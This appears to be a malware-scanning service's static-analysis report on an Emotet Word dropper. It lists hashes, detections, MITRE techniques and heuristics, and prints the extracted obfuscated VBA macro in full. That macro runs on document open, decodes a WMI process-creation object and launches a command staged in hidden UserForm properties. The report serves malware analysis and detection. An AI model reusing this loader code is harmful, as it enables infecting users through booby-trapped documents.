Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c1d2bdfe2793c097…

MALICIOUS

Office (OLE)

170.2 KB Created: 2020-07-27 21:03:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: ce782f1b4628fc3f3ceaed517bd604c4 SHA-1: 6d865db996355251fb58acf4e9d383777d09ce7c SHA-256: c1d2bdfe2793c097c72d0074253c28fb1454b7624d9cb831d290aabbc1865971
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', strongly suggesting the Emotet family. High-severity heuristics indicate the presence of VBA macros, specifically a 'Document_Open' macro that utilizes 'CreateObject' and a hidden UserForm for command staging. This mechanism is designed to execute obfuscated code, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4009 bytes
SHA-256: a4c02b146ac32d1cbec3ef6baba696ac02be8d90a6e6f10532377572ad00417f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "bocthaiyhoos"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
juantiowmeolboip.haefweaxjed
End Sub


Attribute VB_Name = "juantiowmeolboip"
Attribute VB_Base = "0{13B3EA8F-3185-4197-BE26-99DDA6BF27AF}{FC129FD9-D94C-4AD7-ABF3-333630B09360}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function haefweaxjed()
jeafthuab = Chr(juantiowmeolboip.Zoom + (120 / 8))
Dim IPuElKrfP As Long
IPuElKrfP = InStr("ySchaNX4ÏskAGW", "X4ÏskAGW")
gelquoatlouwcieth = "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsi7773tGJ3^55GHDG%*&k7^*33333fsnm7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsgm7773tGJ3^55GHDG%*&k7^*33333fst7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs" + jeafthuab + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs:7773tGJ3^55GHDG%*&k7^*33333fsw7773tGJ3^55GHDG%*&k7^*33333fsin7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fs37773tGJ3^55GHDG%*&k7^*33333fs27773tGJ3^55GHDG%*&k7^*33333fs_7773tGJ3^55GHDG%*&k7^*33333fs" + juantiowmeolboip.wooslon + "7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fsr7773tGJ3^55GHDG%*&k7^*33333fsoc7773tGJ3^55GHDG%*&k7^*33333fses7773tGJ3^55GHDG%*&k7^*33333fs7773tGJ3^55GHDG%*&k7^*33333fss7773tGJ3^55GHDG%*&k7^*33333fs"
Dim F0mYkFY As Long
F0mYkFY = InStr("aIiQAL", "QAL")
jaeknif = loitcoor(gelquoatlouwcieth)
Dim yJ0Í7 As Long
yJ0Í7 = InStr("UKLCRYjw6ÖDbKv5É", "jw6ÖDbKv5É")
Set xethceadjoom = CreateObject(jaeknif)
Dim qZ0Ýu1àM As Long
qZ0Ýu1àM = InStr("AwlkNbSXjDwlOm3Êt", "XjDwlOm3Êt")
teolyeapmeuh = juantiowmeolboip.muahbemkuah.ControlTipText
Dim w3åQyi1ÍHG As Long
w3åQyi1ÍHG = InStr("g0ÛK6ÐNJVHTZUWN", "VHTZUWN")
peuhhoedbiey = jaeknif + jeafthuab + juantiowmeolboip.woesgaqujaed.ControlTipText + teolyeapmeuh
TM0iX = 8
Do While TM0iX < 8 + 5
TM0iX = TM0iX + 9: DoEvents
Loop
luubtiorzoay = peuhhoedbiey + juantiowmeolboip.wooslon
Zqw3ÕvB = 6
Do While Zqw3ÕvB < 6 + 9
Zqw3ÕvB = Zqw3ÕvB + 5: DoEvents
Loop
Set hekseur = ziottuuckoirvot(luubtiorzoay)
HrE4ÜrA5á = 8
Do While HrE4ÜrA5á < 8 + 6
HrE4ÜrA5á = HrE4ÜrA5á + 4: DoEvents
Loop
v = Array("PoS", xethceadjoom. _
Create(kuuthxeowfoiccuqu, koetkajquoeh, hekseur), "SOP")
Dim fft As Long
fft = InStr("XR1Ìqpffk", "qpffk")
End Function
Function ziottuuckoirvot(reaxtaifraon)
Set ziottuuckoirvot = CreateObject(reaxtaifraon)
Dim KlHCGw As Integer
KlHCGw = 2
Do While KlHCGw < 2 + 4
KlHCGw = KlHCGw + 9: DoEvents
Loop
ziottuuckoirvot.showwindow = (zuudpiaquroax + chiepxapbaodfeew) + (dathietthaek + quolpeapnaoth)
Dim EQ6ÍjrK As Integer
EQ6ÍjrK = 6
Do While EQ6ÍjrK < 6 + 6
EQ6ÍjrK = EQ6ÍjrK + 8: DoEvents
Loop
End Function
Function loitcoor(geivcies)
kaschuabqueas = geivcies
Dim aCX3Ì1ÀlwSM As Integer
aCX3Ì1ÀlwSM = 7
Do While aCX3Ì1ÀlwSM < 7 + 3
aCX3Ì1ÀlwSM = aCX3Ì1ÀlwSM + 9: DoEvents
Loop
rifdoovxoatjeeh = Split _
(kaschuabqueas, "7773tGJ3^55GHDG%*&k7^*33333fs")
Dim nV8FB As Integer
nV8FB = 4
Do While nV8FB < 4 + 2
nV8FB = nV8FB + 2: DoEvents
Loop
moonraigkias = c + Join(rifdoovxoatjeeh, E)
Dim gAuvLy As Integer
gAuvLy = 9
Do While gAuvLy < 9 + 2
gAuvLy = gAuvLy + 4: DoEvents
Loop
loitcoor = moonraigkias
Dim qFZ As Long
qFZ = InStr("wfEl2ÔI3ÖhXYPe6ÛRt", "hXYPe6ÛRt")
End Function
Function kuuthxeowfoiccuqu()
q = juantiowmeolboip.chogreav.Pages(333 / 333).ControlTipText
Dim VpAD As Long
VpAD = InStr("yGDcMofuCS4Çt", "ofuCS4Çt")
kuuthxeowfoiccuqu = loitcoor(q)
Dim JJOQW7Ö As Long
JJOQW7Ö = InStr("PeX7ÌtQajQoX8ÃaWZR", "ajQoX8ÃaWZR")
End Function